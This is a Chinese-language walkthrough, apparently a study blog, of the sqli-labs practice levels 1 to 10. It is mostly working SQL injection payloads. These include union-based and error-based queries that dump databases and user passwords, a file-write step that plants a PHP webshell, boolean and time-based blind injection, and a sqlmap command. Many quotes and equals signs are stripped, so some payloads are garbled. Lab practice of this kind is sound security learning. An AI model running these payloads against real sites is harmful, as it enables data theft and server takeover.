
Less1?id1 order by 3 --?id1 ordeer by 4 --報錯說明有個3字段讓這3個字段顯現(xiàn)?id-1 union select 1,2,3--只有23位顯現(xiàn)現(xiàn)在查數(shù)據(jù)庫表行數(shù)據(jù)查所有數(shù)據(jù)庫?id-1union select 1,group_concat(schema_name),from information_schema.schemata--查security的所有表名:?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--查user表的所有數(shù)據(jù)?id-1%27%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_nameusers --?id-1 union select 1,group_concat(username,|,password),3 from users--Less2?id1 and 11?id1 and 12查數(shù)據(jù)庫?id-1 union select 1,group_concat(schema_name),3 from information_schema.schemata查表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity查行查數(shù)據(jù)?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusersLess3?id1) and 11 --?id1) and 12 --查數(shù)據(jù)庫?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata--查表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --查數(shù)據(jù)?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers --Less4?id-1) union select 1,group_concat(schema_name),3 from information_schema.schemata -- 最初就是不斷嘗試用 ) 一般都是這幾個然后嘗試 ?id1),只要界面變化就有可能是我是這樣判斷的Less5(報錯注入)?id1?id1主要是正常界面它都沒有回顯點不像1234關那樣那就用報錯注入?id1 and updatexml(1,0x7e,1) --固定模板 ?id1 and updatexml(1,concat(0x7e,(子查詢),0x7e),1) -- ?id1 and extractvalue(1,concat(0x7e,(你的子查詢),0x7e)) --報錯注入限制一定要記updatexml報錯輸出最多32 字符不能直接 group_concat要用limit n,1逐條爆extractvalue最多31 字符同樣不能直接 group_concat子查詢必須用括號包裹(select xxx from xxx)updatexml / extractvalue→ 放在and后面作為 where 條件不管原查詢多少字段payload 不用改?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--寫法含義 limit 0,1取第 1 行 limit 1,1取第 2 行 limit 2,1取第 3 行 limit 3,1取第 4 行 limit 4,1取第 5 行 limit 0,1表示第一行第一個把0變化為12345等就能爆出數(shù)據(jù)庫查數(shù)據(jù)庫改limit就能遍歷數(shù)據(jù)庫了在此查security?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 6,1),0x7e),0x7e)--查表?id1 and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),0x7e)--修改limit 0,1 為limit 6,1找到users表查數(shù)據(jù)?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 0,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 1,1),0x7e),0x7e) -- ?id1 and updatexml(1,concat(1,(select column_name from information_schema.columns where table_nameusers limit 2,1),0x7e),0x7e) --?id1 and updatexml(1,concat(1,(select username from users limit 0,1),0x7e),0x7e)--Less6(報錯注入)?id1 and updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1),0x7e),0x7e)--Less7(文件讀寫)要求文件讀寫條件1.文件讀寫注入條件secure_file_priv2.magic_quotes_gpcOff3.要知道服務器的絕對路徑4.登錄賬戶具有root權限讀取文件load_file()用法select load_file(D://password.txt),表示讀取D盤下的password.txt文件寫文件into outdile()利用寫文件寫入木馬?id1))找到閉合方式為))寫入一句話木馬?id-1)) union select 1,2,?php phpinfo();? into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --訪問shell.php看有沒有被解析windows必須使用\\或者/或者自己在服務器上面寫一句話木馬文件然后上傳這樣成功率高一點因為在url里面寫入容易被轉義。?id-1)) union select 1,2,127.0.0.1/shell.php into outfile D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php --Less8(布爾盲注)函數(shù)介紹 ascii(str) #返回字符串的 ASCII 碼 length(str) #返回字符串的長度 mid(str,index,j) #返回str的從index開始后的j位(index是從1開始的) substr(str,index,j) #和mid功能一樣?id1 and 11--?id1and 12--只有and后面條件判斷為true時才有回顯猜出數(shù)據(jù)庫的長度 ?id1and length(database())8--從0-8發(fā)現(xiàn)數(shù)據(jù)庫的長度為8猜數(shù)據(jù)庫名 ?id1and ascii(mid(database(),1,1))115--這里可以使用bp爆破還可以用sqlmap跑我們演示一下sqlmappython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1 --batch --dbsLess8 是單引號布爾盲注sqlmap 會自動去探測閉合符號不要自己提前加id1參數(shù)解釋-u目標 URL參數(shù)寫原始正常值id1--batch全部默認 yes 自動確認不用手動輸入 y--dbs爆破所有數(shù)據(jù)庫名Less9(延時注入)?id1and 12-- ?id1and 11-- ?id1and 11--多種注入方式回顯都一樣嘗試延時注入利用函數(shù) if(條件,a,b) #當條件為真返回a,否則返回b sleep(8) #進程睡眠5秒?id1and if(length(database())8,sleep(7),1)--確實延時了7秒猜數(shù)據(jù)庫名 ?id1and if(ascii(mid(database(),1,1))115,sleep(5),1)--確實延遲了5秒這里都可以用爆破但是用sqlmap塊些延時盲注也能用sqlmap跑Less10(延時注入)也是怎么嘗試都沒反應就想到延時注入用這個方法測出注入點 ?id1and if(length(database())8,sleep(5),1)--用sqlmap跑......等待結果就可以文章參考2025 sqli-labs通關流程 手把手教 詳細講解_sqlilabs-CSDN博客